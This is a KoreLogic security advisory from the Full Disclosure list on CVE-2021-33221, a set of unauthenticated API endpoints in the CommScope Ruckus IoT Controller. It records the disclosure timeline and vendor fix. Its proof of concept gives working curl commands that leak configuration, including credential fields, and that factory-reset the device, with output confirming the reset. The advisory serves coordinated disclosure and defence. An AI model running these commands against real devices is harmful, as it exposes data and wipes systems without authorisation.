KL-001-2021-001: CommScope Ruckus IoT Controller Unauthenticated API Endpoints

From: KoreLogic Disclosures via Fulldisclosure <fulldisclosure () seclists org>
Date: Wed, 26 May 2021 16:05:02 -0500

```
KL-001-2021-001: CommScope Ruckus IoT Controller Unauthenticated API Endpoints

Title: CommScope Ruckus IoT Controller Unauthenticated API Endpoints
Advisory ID: KL-001-2021-001
Publication Date: 2021.05.26
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2021-001.txt


1. Vulnerability Details

     Affected Vendor: CommScope
     Affected Product: Ruckus IoT Controller
     Affected Version: 1.7.1.0 and earlier
     Platform: Linux
     CWE Classification: CWE-306: Missing Authentication for Critical Function
     CVE ID: CVE-2021-33221


2. Vulnerability Description

     Three API endpoints for the IoT Controller are accessible
     without authentication. Two of the endpoints result in
     information leakage and consumption of computing/storage
     resources. The third API endpoint that does not require
     authentication allows for a factory reset of the IoT Controller.


3. Technical Description

     A "service details" API endpoint discloses system and
     configuration information to an attacker without requiring
     authentication. This information includes DNS and NTP servers
     that the devices uses for time and host resolution. It also
     includes the internal hostname and IoT Controller version. A
     fully configured device in production may leak other, more
     sensitive information (API keys and tokens).

     Another API endpoint that can be accessed without authentication
     can be used to generate diagnostic/support files. The process
     of generating these diagnostic files consumes CPU and disk
     utilization. The files can be retrieved, but are encrypted.

     The third API endpoint that can be accessed without
     authentication will reset the virtual appliance back in to a
     factory reset condition - removing the current configuration
     of the device.


4. Mitigation and Remediation Recommendation

     The vendor has released an updated firmware (1.8.0.0) which
     remediates the described vulnerability. Firmware and release
     notes are available at:

     https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf


5. Credit

     This vulnerability was discovered by Jim Becher (@jimbecher)
     of KoreLogic, Inc.


6. Disclosure Timeline

     2021.03.30 - KoreLogic submits vulnerability details to
                  CommScope.
     2021.03.30 - CommScope acknowledges receipt and the intention
                  to investigate.
     2021.04.06 - CommScope notifies KoreLogic that this issue,
                  along with several others reported by KoreLogic,
                  will require more than the standard 45 business
                  day remediation timeline.
     2021.04.06 - KoreLogic agrees to extend disclosure embargo if
                  necessary.
     2021.04.30 - CommScope informs KoreLogic that remediation for
                  this vulnerability will be available inside of the
                  standard 45 business day timeline. Requests
                  KoreLogic acquire CVE number for this
                  vulnerability.
     2021.05.14 - 30 business days have elapsed since the
                  vulnerability was reported to CommScope.
     2021.05.17 - CommScope notifies KoreLogic that the patched
                  version of the firmware will be available the week
                  of 2021.05.24.
     2021.05.19 - KoreLogic requests CVE from MITRE.
     2021.05.19 - MITRE issues CVE-2021-33221.
     2021.05.25 - CommScope releases firmware 1.8.0.0 and associated
                  advisory.
     2021.05.26 - KoreLogic public disclosure.


7. Proof of Concept

     https://192.168.2.220/service/v1/service-details
     $ curl -k https://192.168.2.220/service/v1/service-details
     {"message": {"ok": 1, "data": {"visionline_password": "sym", "is_vm": true, "dns2": "8.8.4.4",
"ibm_gateway_token":
"-", "ntp_server": "ntp.ubuntu.com", "visionline_username": "sym", "vm_reset_pwd": "0", "gateway": "192.168.2.254",
"visionline_ip": "-", "netmask": "255.255.255.0", "ip_address": "192.168.2.220", "hostname": "vriot", "version":
"1.6.0.0.42", "ntp_state": "1", "ibm_enabled": "0", "visionline_port": "443", "ibm_org_id": "-", "vm_n1_mode": "0",
"aa_enabled": "0", "ibm_api_token": "-", "cert_expire": "Oct 21 10:09:23 2030 GMT", "common_name":
"local-mqtt.video54.local", "dns": "8.8.8.8", "ibm_gateway_type": "-", "ibm_gateway_id": "-", "ibm_api_key": "-",
"ipv4_mode": "1", "datetime": "01/07/2021 18:46:13"}}}

     https://192.168.2.220/service/v1/diagnostic
     $ curl -k https://192.168.2.220/service/v1/diagnostic
     {"message": {"fileName": "/static/diagnostic/diagnostic_2021-01-07-18-46-58.tar.gz", "ok": 1}}

     A POST to the /reset URL does not require authentication:
     @app.route('/reset',methods=["POST"])
     def reset():
     """
     Resets the system to factory condition.
"""

This was tested and confirmed.
$ curl -k https://192.168.2.220/reset -X POST
curl: (52) Empty reply from server
$
$ ping 192.168.2.220
PING 192.168.2.220 (192.168.2.220) 56(84) bytes of data.
From 192.168.2.99 icmp_seq=1 Destination Host Unreachable
^C
--- 192.168.2.220 ping statistics ---
3 packets transmitted, 0 received, +1 errors, 100% packet loss, time 2014ms
```

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt

Attachment: signature.asc
Description: OpenPGP digital signature

By Date By Thread

Current thread:

- **KL-001-2021-001: CommScope Ruckus IoT Controller Unauthenticated API Endpoints** ***KoreLogic Disclosures via Fulldisclosure (May 26)***

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License